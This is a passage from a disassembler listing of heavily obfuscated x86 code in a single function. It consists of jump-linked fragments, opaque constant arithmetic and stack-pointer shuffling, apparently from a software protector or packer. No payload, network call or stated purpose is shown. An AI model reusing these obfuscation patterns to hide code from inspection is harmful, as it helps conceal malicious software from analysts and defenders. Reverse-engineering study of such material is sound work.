--------------------------------------------------------------------------- loc_5A2446: ; CODE XREF: sub_580566+17A48j add eax, 23D70941h pop ebp jmp loc_59E8F8 ; --------------------------------------------------------------------------- loc_5A2451: ; CODE XREF: sub_580566+22217j push 4 jmp loc_5A1132 ; --------------------------------------------------------------------------- loc_5A245B: ; CODE XREF: sub_580566+1F335j mov [esp-46h+arg_3C+2], edi mov edi, 818FD0Bh add ebx, edi pop edi xor ecx, ebx mov ebx, [esp-4Ah+arg_40+2] add esp, 4 mov [edi+20h], ecx pop ecx neg dword ptr [edi+20h] push eax mov eax, 20h add eax, edi jmp loc_5A304E ; --------------------------------------------------------------------------- loc_5A2482: ; CODE XREF: sub_580566+22AA8j push eax mov ah, 4Ch jmp loc_5A0ADB ; --------------------------------------------------------------------------- loc_5A248A: ; CODE XREF: sub_580566+20EE7j push ebx mov ebx, 15553629h jmp loc_59F570 ; --------------------------------------------------------------------------- loc_5A2495: ; CODE XREF: sub_580566+1DCD3j push [esp-22h+arg_1A] mov ebx, [esp-1Eh+arg_16] jmp loc_59C42A ; --------------------------------------------------------------------------- loc_5A24A0: ; CODE XREF: sub_580566+243C4j pop esp mov word ptr [esp-22h+arg_1A], cx jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A24AA: ; CODE XREF: sub_580566+1C1A4j inc eax xor eax, 73F1479h add ecx, eax pop eax add ecx, 2 xchg ecx, [esp-2Eh+arg_24+2] jmp loc_59BA28 ; --------------------------------------------------------------------------- loc_5A24BE: ; CODE XREF: sub_580566+1B35Cj push 274C2A90h pop ecx xor ecx, 274C2A92h mov ebx, ecx pop ecx push ebx mov ebx, 62191457h add ebx, 1CC31B1Bh jmp loc_59B2EC ; --------------------------------------------------------------------------- loc_5A24DE: ; CODE XREF: sub_580566+1508Fj mov eax, ebp pop ebp shr eax, 4 or eax, 2E175DF8h neg eax inc eax add eax, 52AB6761h jmp loc_598CAB ; --------------------------------------------------------------------------- loc_5A24F6: ; CODE XREF: sub_580566+228EAj pop ecx jmp loc_5A14EF ; --------------------------------------------------------------------------- loc_5A24FC: ; CODE XREF: sub_580566+18B9Ej shl ebx, 5 xor ebx, 65E91ACCh add ebx, 20346351h add ecx, ebx pop ebx mov ebp, ecx pop ecx push ebp not [esp-30h+arg_28] push [esp-30h+arg_28] pop ebp add esp, 4 jmp loc_593900 ; --------------------------------------------------------------------------- loc_5A2524: ; CODE XREF: sub_580566+1CFCAj pop esp push esi push 0 pop esi sub esi, edi xchg esi, edi pop esi or edi, 5E13512Ah dec edi sub edi, 1 push 6177h mov [esp-20h+arg_16+2], eax mov eax, 9350FAD4h add edi, eax mov eax, [esp-20h+arg_16+2] jmp loc_5A4C8E ; --------------------------------------------------------------------------- loc_5A2552: ; CODE XREF: sub_580566+19534j push ebp mov ebp, esp add ebp, 4 push edi mov edi, 1F110948h shl edi, 8 jmp loc_5978A8 ; --------------------------------------------------------------------------- loc_5A2569: ; CODE XREF: sub_580566+163CFj sub ebx, 557275EEh add ebx, esi jmp loc_599639 ; --------------------------------------------------------------------------- loc_5A2576: ; CODE XREF: sub_580566+120B4j pop edx add ebx, 4CD82756h jmp loc_5A0120 ; --------------------------------------------------------------------------- loc_5A2582: ; CODE XREF: sub_580566+10D50j pop ecx add ebx, eax add ebx, 14BF68F9h sub ebx, 478D574Fh push edi mov edi, 61DC0069h add ebx, edi mov edi, [esp-30h+arg_28] add esp, 4 jmp loc_5A55A5 ; --------------------------------------------------------------------------- loc_5A25A7: ; CODE XREF: sub_580566+1914Bj push 6275h mov [esp-38h+arg_30], esp add [esp-38h+arg_30], 4 pop edi add edi, 4 jmp loc_59D20D ; --------------------------------------------------------------------------- loc_5A25BF: ; CODE XREF: sub_580566+23914j push esp jmp loc_59986B ; --------------------------------------------------------------------------- loc_5A25C5: ; CODE XREF: sub_580566+19014j mov edx, [esp-40h+arg_38] add esp, 4 or eax, eax jz loc_59CAFB push ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push [esp-3Ch+arg_38] push [esp-38h+arg_30] mov ebx, [esp-34h+arg_2C] sub esp, 4 mov [esp-30h+arg_28], edx mov edx, esp add edx, 4 jmp loc_59971C ; --------------------------------------------------------------------------- loc_5A2606: ; CODE XREF: sub_580566+145AEj xor dl, 6Bh mov ch, dl pop edx push bx jmp loc_596032 ; --------------------------------------------------------------------------- loc_5A2613: ; CODE XREF: sub_580566+2395Fj mov esi, 1080305h sub ecx, esi pop esi jmp loc_595F0C ; --------------------------------------------------------------------------- loc_5A2620: ; CODE XREF: sub_580566+1DDBFj push 2528h mov [esp+0], edx push [esp-26h+arg_20+2] mov edx, [esp-22h+arg_1A] add esp, 4 pop dword ptr [esp+0] mov esp, [esp-2Ah+arg_20+2] jmp loc_593587 ; --------------------------------------------------------------------------- loc_5A2640: ; CODE XREF: sub_580566+1D129j pop ebx sub esp, 4 mov [esp-3Eh+arg_34+2], ecx mov ecx, 1B284431h sub ecx, 64C9107Bh push edi mov edi, esp add edi, 4 sub edi, 4 push edi push [esp-36h+arg_30+2] pop edi pop [esp-36h+arg_2C+2] pop esp mov [esp-3Eh+arg_34+2], ebx push eax mov eax, 6DE0CFBh jmp loc_59D0BA ; --------------------------------------------------------------------------- loc_5A2676: ; CODE XREF: sub_580566+19351j pop edx xor eax, edi pop edi jmp loc_597BEC ; --------------------------------------------------------------------------- loc_5A267F: ; CODE XREF: sub_580566+14398j pop ecx add esi, 290B45C9h add esi, edi sub esi, 290B45C9h mov edi, [esp-3Ch+arg_34] add esp, 4 push eax push 4 pop eax add esi, eax mov eax, [esp-3Ch+arg_34] add esp, 4 xor esi, [esp-40h+arg_38] xor [esp-40h+arg_38], esi xor esi, [esp-40h+arg_38] jmp loc_5A4077 ; --------------------------------------------------------------------------- loc_5A26B4: ; CODE XREF: sub_580566+225A5j push [esp-40h+arg_38] jmp loc_59DC74 ; --------------------------------------------------------------------------- loc_5A26BC: ; CODE XREF: sub_580566+1D88Cj add edx, 2BEA67A4h push [esp-46h+arg_3C+2] pop esi add esp, 4 push 867h mov [esp-46h+arg_3C+2], edx add [esp-46h+arg_3C+2], 51F87C07h pop eax sub eax, 51F87C07h push [esp-4Ah+arg_40+2] jmp loc_5A3C18 ; --------------------------------------------------------------------------- loc_5A26E9: ; CODE XREF: sub_580566+235F7j xor eax, 24C966DFh xor eax, 16434474h jmp loc_592790 ; --------------------------------------------------------------------------- loc_5A26F8: ; CODE XREF: sub_580566+16122j mov dl, 6Ah push ebx mov bl, dl jmp loc_5A0CC2 ; --------------------------------------------------------------------------- loc_5A2702: ; CODE XREF: sub_580566+2240Fj push ebp mov ebp, esp add ebp, 4 push 78F9h mov [esp-2Eh+arg_24+2], edx mov edx, 4 jmp loc_5934E3 ; --------------------------------------------------------------------------- loc_5A271D: ; CODE XREF: sub_580566+1490Dj or ebx, 242654D1h dec ebx sub ebx, 7DD06695h xor ebp, ebx pop ebx mov edx, ebp pop ebp sub edx, edi pop edi and eax, edx push [esp-32h+arg_28+2] push [esp-2Eh+arg_24+2] pop edx jmp loc_595941 ; --------------------------------------------------------------------------- loc_5A2741: ; CODE XREF: sub_580566+24A60j mov edx, esp jmp loc_599E47 ; --------------------------------------------------------------------------- loc_5A2748: ; CODE XREF: sub_580566+21086j mov ecx, [esp-40h+arg_38] push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, ebp mov ebp, [esp-38h+arg_30] add esp, 4 xchg ebx, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] push 783Eh mov [esp-38h+arg_30], eax push esp pop eax push 4B0h mov [esp-34h+arg_2C], ebp jmp loc_5A2451 ; --------------------------------------------------------------------------- loc_5A2782: ; CODE XREF: sub_580566+1FD50j shl edi, 7 dec edi and edi, 3DCC0215h dec edi add edi, 0C373FDEBh sub esi, edi pop edi sub esi, 0FFFFFFFFh jmp loc_59965C ; --------------------------------------------------------------------------- loc_5A279E: ; CODE XREF: sub_580566+10622j mov edx, [esp-5Eh+arg_56] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-5Ah+arg_52] pop esp jmp loc_5A340E ; --------------------------------------------------------------------------- loc_5A27B9: ; CODE XREF: sub_580566+1FB7Cj mov eax, [esp-32h+arg_28+2] add esp, 4 add eax, 4 sub esp, 4 jmp loc_5A43CD ; --------------------------------------------------------------------------- loc_5A27CC: ; DATA XREF: sub_580566+10286o mov cx, word ptr [esp-32h+arg_28+2] push 501h mov [esp-2Eh+arg_24+2], esi jmp loc_59EBD4 ; --------------------------------------------------------------------------- loc_5A27DD: ; CODE XREF: sub_580566+13039j add edi, 4 sub edi, 4 xchg edi, [esp-3Ch+arg_34] pop esp mov [esp-40h+arg_38], edi mov edi, esp push 708Ch mov [esp-3Ch+arg_34], edx push 5AD06E5Fh jmp loc_598B58 ; --------------------------------------------------------------------------- loc_5A2801: ; DATA XREF: sub_580566+104B2o mov ax, word ptr [esp-38h+arg_30] jmp loc_5A289B ; --------------------------------------------------------------------------- loc_5A280A: ; CODE XREF: sub_580566+24029j mov [esp-38h+arg_30], eax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A2812: ; CODE XREF: sub_580566+2278Fj shl eax, 1 neg eax add eax, 1 xor eax, 5702E3FDh jmp loc_59314F ; --------------------------------------------------------------------------- loc_5A2823: ; CODE XREF: sub_580566+21D82j pop esp mov [esp-3Ah+arg_30+2], esp jmp loc_590FEA ; --------------------------------------------------------------------------- loc_5A282C: ; CODE XREF: sub_580566+116ACj mov edi, 75C175B6h neg edi push 790Eh mov [esp-2Ch+arg_24], edx push esi push ebx push 60C04319h jmp loc_59B390 ; --------------------------------------------------------------------------- loc_5A2847: ; CODE XREF: sub_580566+1FECAj push edi push [esp-3Ch+arg_34] push [esp-38h+arg_30] pop eax push eax mov eax, esp push ebp jmp loc_59413F ; --------------------------------------------------------------------------- loc_5A2858: ; CODE XREF: sub_580566+21853j xor [esp-4Eh+arg_44+2], esi xor esi, [esp-4Eh+arg_44+2] pop esp push dword ptr [edi+eax*4] push [esp-4Eh+arg_44+2] pop eax sub esp, 4 mov [esp-4Ah+arg_40+2], edi push esp mov edi, [esp-46h+arg_3C+2] push edx jmp loc_59A294 ; --------------------------------------------------------------------------- loc_5A2876: ; CODE XREF: sub_580566+15038j pop edx sub ebp, edx sub ebp, 7C9F2D41h pop edx push ebp jmp loc_5A2F9A ; --------------------------------------------------------------------------- loc_5A2886: ; CODE XREF: sub_580566+1A139j mov ecx, [esp-2Eh+arg_24+2] push eax jmp loc_5A399F ; --------------------------------------------------------------------------- lodsd push ebp mov ebp, 4471BF4h jmp loc_59CC39 ; --------------------------------------------------------------------------- loc_5A289B: ; CODE XREF: sub_580566+2229Fj push 3604h mov [esp-34h+arg_2C], edi push ebx mov ebx, esp push 1529h jmp loc_5A34A9 ; --------------------------------------------------------------------------- loc_5A28B0: ; CODE XREF: sub_580566+1C25Ej mov edx, ebp push [esp-18h+arg_E+2] mov ebp, [esp-14h+arg_A+2] add esp, 4 add esp, 4 or edx, 1CBF6007h push edx jmp loc_59BBCE ; --------------------------------------------------------------------------- loc_5A28CA: ; CODE XREF: sub_580566+110F6j sub eax, ecx sub eax, 326C40F9h pop ecx xor eax, 2CC8B586h sub ebx, eax pop eax add edi, ebx pop ebx pop ebp jmp loc_5A402D ; --------------------------------------------------------------------------- loc_5A28E3: ; CODE XREF: sub_580566+1A692j sub ebp, 2B7098F8h jmp loc_5A49D7 ; --------------------------------------------------------------------------- loc_5A28EE: ; CODE XREF: sub_580566+14AD9j xchg ebp, [esp-2Ch+arg_24] jmp loc_59A39C ; --------------------------------------------------------------------------- loc_5A28F6: ; DATA XREF: sub_580566+10432o sub esp, 4 mov [esp-7Eh+arg_76], esi push esi push esp pop esi push 6CDCh mov [esp-76h+arg_6E], edx mov edx, 4 add esi, 3E762D70h add esi, edx sub esi, 3E762D70h pop edx jmp loc_59FC68 ; --------------------------------------------------------------------------- loc_5A2923: ; CODE XREF: sub_580566+25686j mov edi, [esp-7Ah+arg_72] add esp, 4 xchg eax, [esp-7Eh+arg_76] jmp loc_59691A ; --------------------------------------------------------------------------- loc_5A2934: ; CODE XREF: sub_580566+123FCj push edx push edi mov edi, 2CFE2DFFh jmp loc_5962F6 ; --------------------------------------------------------------------------- loc_5A2940: ; CODE XREF: sub_580566+12C4Ej sub ebp, 6E61235Ch push ebp sub [esp-3Eh+arg_34+2], 143186Ah pop esi add esi, 143186Ah pop ebp sub ebp, esi pop esi xor ebp, [esp-4Ah+arg_40+2] xor [esp-4Ah+arg_40+2], ebp xor ebp, [esp-4Ah+arg_40+2] pop esp mov [esp-4Eh+arg_44+2], edx jmp loc_5A4FDF ; --------------------------------------------------------------------------- mov cx, word ptr [esp-4Eh+arg_44+2] jmp loc_59A3E8 ; --------------------------------------------------------------------------- loc_5A2974: ; CODE XREF: sub_580566+1D33Dj pop esp jmp loc_5A2702 ; --------------------------------------------------------------------------- loc_5A297A: ; CODE XREF: sub_580566+228B0j push ebp mov ebp, 3D255D91h add [esp-4Eh+arg_52], ebp pop ebp add [esp-52h+arg_52], 0B261AA0h add [esp-52h+arg_52], ebp push esi jmp loc_59BA5A ; --------------------------------------------------------------------------- loc_5A2997: ; CODE XREF: sub_580566+1685Aj pop esi add eax, 137C5470h jmp loc_596017 ; --------------------------------------------------------------------------- loc_5A29A2: ; CODE XREF: sub_580566+20B57j add ebx, 4 add ebx, 4 jmp loc_59CFA1 ; --------------------------------------------------------------------------- loc_5A29B0: ; CODE XREF: sub_580566+20457j push 34585E38h pop ebp neg ebp jmp loc_5955EF ; --------------------------------------------------------------------------- loc_5A29BD: ; CODE XREF: sub_580566+234E8j sub edi, ecx xchg edi, ecx jmp loc_591B1C ; --------------------------------------------------------------------------- loc_5A29C6: ; CODE XREF: sub_580566+18328j mov esi, [esp-22h+arg_1A] add esp, 4 push esi jmp loc_5954AB ; --------------------------------------------------------------------------- loc_5A29D5: ; CODE XREF: sub_580566+213C3j push esp pop [esp-2Ah+arg_20+2] add [esp-2Eh+arg_24+2], 4 pop ebx add ebx, 4 push 7F63h mov [esp-2Eh+arg_24+2], ebp mov ebp, 4 sub ebx, 3F076C88h sub ebx, 766F3199h jmp loc_5A12C3 ; --------------------------------------------------------------------------- loc_5A2A02: ; CODE XREF: sub_580566+190A2j mov ah, cl mov cl, bl mov bl, ah pop eax not cl xchg cl, bl sub esp, 4 mov [esp-2Ah+arg_20+2], edx mov dh, 5 jmp loc_596121 ; --------------------------------------------------------------------------- loc_5A2A1A: ; CODE XREF: sub_580566+23C6Cj pop eax add esp, 4 mov edi, [esp-32h+arg_28+2] add esp, 4 push 2E57h mov [esp-32h+arg_28+2], ebp mov ebp, 4 add edi, ebp mov ebp, [esp-32h+arg_28+2] add esp, 4 add edi, 2 xchg edi, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] test cl, al pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A2A4D: ; CODE XREF: sub_580566+1D7DDj push 6871h mov [esp-18h+arg_E+2], ebx jmp loc_59A12F ; --------------------------------------------------------------------------- loc_5A2A5A: ; CODE XREF: sub_580566+1B1FEj push eax mov eax, 404F447Bh and ebp, eax pop eax push ecx mov ecx, 5CF021A0h add ebp, ecx mov ecx, [esp-52h+arg_48+2] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-4Eh+arg_44+2] pop esp xor edx, ebp mov ebp, [esp-52h+arg_48+2] push edx mov edx, esp push eax mov eax, 249866F5h jmp loc_59F7D3 ; --------------------------------------------------------------------------- loc_5A2A91: ; CODE XREF: sub_580566+25652j xchg ecx, [esp-4Ah+arg_40+2] jmp loc_594E78 ; --------------------------------------------------------------------------- loc_5A2A99: ; CODE XREF: sub_580566+13914j mov edx, esp jmp loc_59AD35 ; --------------------------------------------------------------------------- loc_5A2AA0: ; CODE XREF: sub_580566+1F085j sub al, bl pop ebx jmp loc_59C1C4 ; --------------------------------------------------------------------------- loc_5A2AA8: ; CODE XREF: sub_580566+13CA2j mov esi, [esp+0] add esp, 4 and eax, esi push [esp-14h+arg_A+2] mov esi, [esp+0] push edi push edx push esp pop edx add edx, 4 sub edx, 4 sub esp, 4 mov [esp+0], edx jmp loc_5A0CA9 ; --------------------------------------------------------------------------- loc_5A2AD4: ; CODE XREF: sub_580566+1BE2Bj mov [esp-38h+arg_30], ecx sub esp, 4 mov [esp-34h+arg_2C], edx mov edx, 4 mov ecx, edx mov edx, [esp-34h+arg_2C] add esp, 4 sub edx, 5F520538h add edx, ecx add edx, 5F520538h push [esp-38h+arg_30] pop ecx add esp, 4 xchg edx, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] jmp loc_5A26B4 ; --------------------------------------------------------------------------- loc_5A2B10: ; CODE XREF: sub_580566+21499j sub esp, 4 jmp loc_59A940 ; --------------------------------------------------------------------------- loc_5A2B18: ; CODE XREF: sub_580566+2134Dj xchg esi, [esp-3Eh+arg_34+2] mov esp, [esp-3Eh+arg_34+2] jmp loc_590EA6 ; --------------------------------------------------------------------------- loc_5A2B23: ; CODE XREF: sub_580566+1A026j pop edx xor edx, 2FB0713h jmp loc_59CBA2 ; --------------------------------------------------------------------------- loc_5A2B2F: ; CODE XREF: sub_580566+24FC2j push ecx jmp loc_59DD6E ; --------------------------------------------------------------------------- loc_5A2B35: ; CODE XREF: sub_580566+1BA52j push 13C1h mov [esp-3Ah+arg_30+2], edi mov edi, 4 jmp loc_59523A ; --------------------------------------------------------------------------- loc_5A2B47: ; CODE XREF: sub_580566+10E58j or ecx, 1A0C7312h add ecx, 2B742F87h sub ebx, ecx pop ecx add edi, ebx jmp loc_5A33F4 ; --------------------------------------------------------------------------- loc_5A2B5D: ; CODE XREF: sub_580566+1A3B6j mov ebx, 5C0E29C7h sub ebx, 5C0E29C5h mov ecx, ebx jmp loc_598BBA ; --------------------------------------------------------------------------- loc_5A2B6F: ; CODE XREF: sub_580566+1D083j shr edx, 2 and edx, 748E37DAh push 3AB6h mov [esp-42h+arg_38+2], edi mov edi, 3340907h add edx, edi pop edi push eax jmp loc_59E61D ; --------------------------------------------------------------------------- loc_5A2B8E: ; CODE XREF: sub_580566+12E75j push edi mov edi, 4 add esi, edi jmp loc_59AFD7 ; --------------------------------------------------------------------------- loc_5A2B9B: ; CODE XREF: sub_580566+10965j inc esi sub esi, 4BD9436Fh sub esi, 0F03293C3h add eax, 2799404Dh sub eax, esi sub eax, 2799404Dh jmp loc_597CC5 ; --------------------------------------------------------------------------- loc_5A2BB9: ; CODE XREF: sub_580566+1F016j push eax mov eax, 121A8E25h xor ebx, eax jmp loc_59D8D6 ; --------------------------------------------------------------------------- loc_5A2BC6: ; CODE XREF: sub_580566+1D01Bj pop edi jmp loc_5A069F ; --------------------------------------------------------------------------- loc_5A2BCC: ; CODE XREF: sub_580566+161F6j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-3Eh+arg_34+2] pop esp movzx eax, al push dword ptr [edi+eax*4] sub esp, 4 mov [esp-3Ah+arg_30+2], esi mov esi, 3FCh push esi mov esi, 7A120046h push edx mov edx, 334A6A5Eh add edi, edx pop edx add edi, esi jmp loc_594244 ; --------------------------------------------------------------------------- loc_5A2C06: ; CODE XREF: sub_580566+1C53Dj pop eax add esi, 4 xchg esi, [esp-4Ah+arg_40+2] pop esp xor eax, [esp-4Eh+arg_44+2] xor [esp-4Eh+arg_44+2], eax xor eax, [esp-4Eh+arg_44+2] jmp loc_590B93 ; --------------------------------------------------------------------------- loc_5A2C1C: ; CODE XREF: sub_580566+1C016j xor eax, 23E61468h neg eax push ecx mov ecx, 0C8FEE0FCh add eax, ecx pop ecx xor edi, eax jmp loc_597028 ; --------------------------------------------------------------------------- loc_5A2C33: ; CODE XREF: sub_580566+15D8Bj mov esp, [esp-32h+arg_28+2] mov [esp-32h+arg_28+2], ebx push 3B8Eh mov [esp-2Eh+arg_24+2], esp sub esp, 4 mov [esp-2Ah+arg_20+2], esi push eax push 33885610h pop eax push 0FBEh mov [esp-22h+arg_1A], edi mov edi, 3388560Ch sub eax, edi pop edi mov esi, eax mov eax, [esp+0] add esp, 4 jmp loc_5A2EBF ; --------------------------------------------------------------------------- loc_5A2C6E: ; CODE XREF: sub_580566+1372Dj xchg edx, ebp sub ebp, 13B837E5h xor ebp, 90594893h jmp loc_59D7DD ; --------------------------------------------------------------------------- loc_5A2C81: ; CODE XREF: sub_580566+16433j push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 jmp loc_590C5D ; --------------------------------------------------------------------------- loc_5A2C95: ; CODE XREF: sub_580566+23F25j push ebp mov ebp, 7EAF6FF8h xor edx, ebp jmp loc_59E885 ; --------------------------------------------------------------------------- loc_5A2CA2: ; CODE XREF: sub_580566+15DA9j pop ebx xor edi, [esp-5Ah+arg_52] jmp loc_5A500A ; --------------------------------------------------------------------------- loc_5A2CAB: ; CODE XREF: sub_580566+13478j xchg edi, [esp-2Ch+arg_24] jmp loc_59A072 ; --------------------------------------------------------------------------- loc_5A2CB3: ; CODE XREF: sub_580566+21128j mov edx, 4 push eax push 58C579C5h pop eax add esi, eax mov eax, [esp-3Eh+arg_34+2] push eax mov eax, esp jmp loc_593BD5 ; --------------------------------------------------------------------------- loc_5A2CCC: ; CODE XREF: sub_580566+21AAFj mov ebx, [esp-16h+arg_E] add esp, 4 sub edx, ebx add edx, 71F56AC7h pop ebx or ebp, edx pop edx push eax push ecx mov ecx, 0A904366h mov eax, ecx jmp loc_59B9E5 ; --------------------------------------------------------------------------- loc_5A2CEC: ; CODE XREF: sub_580566+1A1E3j pop esp mov [esp-40h+arg_38], eax mov eax, 4BA0233Ah jmp loc_5A2812 ; --------------------------------------------------------------------------- loc_5A2CFA: ; CODE XREF: sub_580566+241EAj push eax jmp loc_5994A6 ; --------------------------------------------------------------------------- loc_5A2D00: ; CODE XREF: sub_580566+1EF58j xor edx, ecx mov ecx, [esp-40h+arg_38] add esp, 4 push 5E9Eh mov [esp-40h+arg_38], edx add [esp-40h+arg_38], 37A231Dh pop ebx sub ebx, 37A231Dh pop edx add ebx, 85C38665h and eax, ebx jmp loc_592503 ; --------------------------------------------------------------------------- loc_5A2D2C: ; CODE XREF: sub_580566+18531j push edx jmp loc_5921F4 ; --------------------------------------------------------------------------- loc_5A2D32: ; CODE XREF: sub_580566+10EB7j sub ebx, eax jmp loc_59C4D8 ; --------------------------------------------------------------------------- loc_5A2D39: ; CODE XREF: sub_580566+1AAAEj mov [esp-36h+arg_2C+2], edx jmp loc_598E78 ; --------------------------------------------------------------------------- loc_5A2D41: ; CODE XREF: sub_580566+1239Bj sub ch, 57h sub ch, 0FFh push bx jmp loc_59EBA9 ; --------------------------------------------------------------------------- loc_5A2D4E: ; CODE XREF: sub_580566+1EC35j push edx jmp loc_5A3B10 ; --------------------------------------------------------------------------- loc_5A2D54: ; CODE XREF: sub_580566+213E2j sub edi, 3A4867DCh mov ecx, [esp-16h+arg_E] add esp, 4 jmp loc_598CEE ; --------------------------------------------------------------------------- loc_5A2D65: ; CODE XREF: sub_580566+1DB84j push [esp-52h+arg_4E] jmp loc_59EA90 ; --------------------------------------------------------------------------- loc_5A2D6E: ; CODE XREF: sub_580566+1DAE1j xchg ebx, [esp-40h+arg_38] pop esp mov ebp, [esp-44h+arg_3C] add esp, 4 jmp loc_594903 ; --------------------------------------------------------------------------- loc_5A2D7D: ; CODE XREF: sub_580566+252B1j add esp, 4 sub esi, 359F323Fh add esi, ebp jmp loc_59727A ; --------------------------------------------------------------------------- loc_5A2D8D: ; DATA XREF: sub_580566+1043Eo mov ax, word ptr [esp-4Ch+arg_44] push ebp mov ebp, esp push ecx mov ecx, 7E65147Bh shr ecx, 8 push ecx not [esp-40h+arg_38] pop ecx sub ecx, 0FF819AE7h jmp loc_5A39D2 ; --------------------------------------------------------------------------- loc_5A2DAD: ; CODE XREF: sub_580566+11B7Ej mov ch, 4Fh sub bl, ch pop ecx sub bl, al add bl, 4Fh add bl, 0B9h jmp loc_5A2FC0 ; --------------------------------------------------------------------------- loc_5A2DBF: ; CODE XREF: sub_580566+21CC7j mov eax, ebp push [esp-36h+arg_2C+2] mov ebp, [esp-32h+arg_28+2] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_59D937 ; --------------------------------------------------------------------------- loc_5A2DDB: ; CODE XREF: sub_580566+1930Cj mov [esp-24h+arg_1A+2], edx push 7C3Ah mov [esp-20h+arg_16+2], eax push edi mov edi, 30F1E4Eh xor edi, 0D8F7E28h jmp loc_59BB37 ; --------------------------------------------------------------------------- loc_5A2DF7: ; CODE XREF: sub_580566+17833j add cl, 0E0h sub dh, cl pop ecx push eax mov ah, 0A8h inc ah add ah, 1 add ah, 84h jmp loc_5A4BB1 ; --------------------------------------------------------------------------- loc_5A2E0D: ; CODE XREF: sub_580566+1D64Aj pop esp mov [esp-52h+arg_48+2], ebp mov ebp, 27AA3B1Eh jmp loc_5A297A ; --------------------------------------------------------------------------- loc_5A2E1B: ; CODE XREF: sub_580566+14AB0j pop ebp pop [esp-2Ch+arg_24] mov esp, [esp-30h+arg_28] and byte ptr [esp-30h+arg_28], al pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A2E2B: ; CODE XREF: sub_580566+1C266j pop esp add eax, 4 sub eax, 4 xchg eax, [esp-1Ch+arg_12+2] pop esp mov [esp-20h+arg_16+2], edi mov edi, esp add edi, 4 jmp loc_5999D4 ; --------------------------------------------------------------------------- loc_5A2E48: ; CODE XREF: sub_580566+1341Fj add ecx, 0BB3182DAh mov edi, ecx jmp loc_5A24F6 ; --------------------------------------------------------------------------- loc_5A2E55: ; CODE XREF: sub_580566+1115Cj pop ecx push 0 sub [esp-3Ch+arg_34], eax pop eax sub eax, 0E2842C97h jmp loc_59921A ; --------------------------------------------------------------------------- loc_5A2E69: ; CODE XREF: sub_580566+1CAEFj mov ebp, 593A095Bh sub edx, ebp pop ebp add edx, eax push ebx mov ebx, 593A095Bh add edx, ebx pop ebx pop eax jmp loc_5A49A6 ; --------------------------------------------------------------------------- loc_5A2E82: ; CODE XREF: sub_580566+23410j mov esp, [esp-30h+arg_28] jmp loc_591A3B ; --------------------------------------------------------------------------- loc_5A2E8A: ; CODE XREF: sub_580566+1CD83j add al, cl sub al, 68h pop ecx push small 1AD9h mov word ptr [esp-42h+arg_38+2], ax mov ah, 97h not ah sub ah, 0DDh shr ah, 5 jmp loc_598B95 ; --------------------------------------------------------------------------- loc_5A2EA6: ; CODE XREF: sub_580566+24B73j mov al, 0B1h mov cl, al jmp loc_596A7B ; --------------------------------------------------------------------------- loc_5A2EAF: ; CODE XREF: sub_580566+1B438j mov ecx, [esp-44h+arg_3C] add esp, 4 push 43Dh jmp loc_59FC96 ; --------------------------------------------------------------------------- loc_5A2EBF: ; CODE XREF: sub_580566+22703j add [esp-2Ah+arg_24+2], esi jmp loc_592CDA ; --------------------------------------------------------------------------- loc_5A2EC8: ; CODE XREF: sub_580566+1E693j mov edx, esp jmp loc_5989AA ; --------------------------------------------------------------------------- loc_5A2ECF: ; CODE XREF: sub_580566+190E6j push 1 push dword ptr [esp+0] pop edi jmp loc_59D383 ; --------------------------------------------------------------------------- loc_5A2EDD: ; CODE XREF: sub_580566+200D6j neg edx or edx, 7304BE8h jmp loc_59625D ; --------------------------------------------------------------------------- loc_5A2EEA: ; CODE XREF: sub_580566+2478Dj push ecx jmp loc_59CDA0 ; --------------------------------------------------------------------------- loc_5A2EF0: ; CODE XREF: sub_580566+1F9DBj shl esi, 1 shr esi, 2 push edi mov edi, 0FDAB1018h add esi, edi pop edi sub esp, 4 mov [esp-20h+arg_16+2], esi jmp loc_599C3B ; --------------------------------------------------------------------------- loc_5A2F09: ; CODE XREF: sub_580566+1F32Aj pop esp shr eax, 18h xor eax, ecx push 3B3Ch mov [esp-56h+arg_4E], eax push edx push [esp-52h+arg_4E] push [esp-4Eh+arg_44+2] jmp loc_5931E1 ; --------------------------------------------------------------------------- loc_5A2F24: ; CODE XREF: sub_580566+137AFj mov esp, [esp-36h+arg_2C+2] push ebx push esp jmp loc_599AF5 ; --------------------------------------------------------------------------- loc_5A2F2E: ; CODE XREF: sub_580566+11E5Ej pop ebp push 7F21h mov [esp-2Ah+arg_20+2], esi push 5DBDh mov [esp+0], ebp push edx mov edx, 4855624Fh mov ebp, edx mov edx, [esp-22h+arg_1A] add esp, 4 mov esi, 0B7AA9DB3h sub esi, 5BD82E43h add esi, ebp add esi, 5BD82E43h jmp loc_5A58F9 ; --------------------------------------------------------------------------- loc_5A2F68: ; CODE XREF: sub_580566+19270j mov esi, 13DF0670h mov ebp, esi mov esi, [esp-28h+arg_20] add esp, 4 push 20D1h mov [esp-28h+arg_20], esi push 634144F0h push [esp-24h+arg_1A+2] pop esi add esp, 4 jmp loc_5A1DC3 ; --------------------------------------------------------------------------- loc_5A2F8E: ; CODE XREF: sub_580566+11A96j pop edx sub esp, 4 jmp loc_59D122 ; --------------------------------------------------------------------------- loc_5A2F9A: ; CODE XREF: sub_580566+2231Bj push [esp-20h+arg_1A+2] jmp loc_5932CC ; --------------------------------------------------------------------------- loc_5A2FA3: ; CODE XREF: sub_580566+1B34Bj mov [esp-3Ah+arg_30+2], edx mov dh, cl push ecx mov cl, dh jmp loc_596E98 ; --------------------------------------------------------------------------- loc_5A2FB0: ; CODE XREF: sub_580566+10862j add edi, 4 xchg edi, [esp+0] pop esp push eax jmp loc_5A3D8B ; --------------------------------------------------------------------------- loc_5A2FC0: ; CODE XREF: sub_580566+22854j pop eax add bl, 4Ch movzx eax, al pop small word ptr [edi+eax*4] jmp loc_59A642 ; --------------------------------------------------------------------------- loc_5A2FD0: ; CODE XREF: sub_580566+1CAB7j mov ebp, ebx mov ebx, 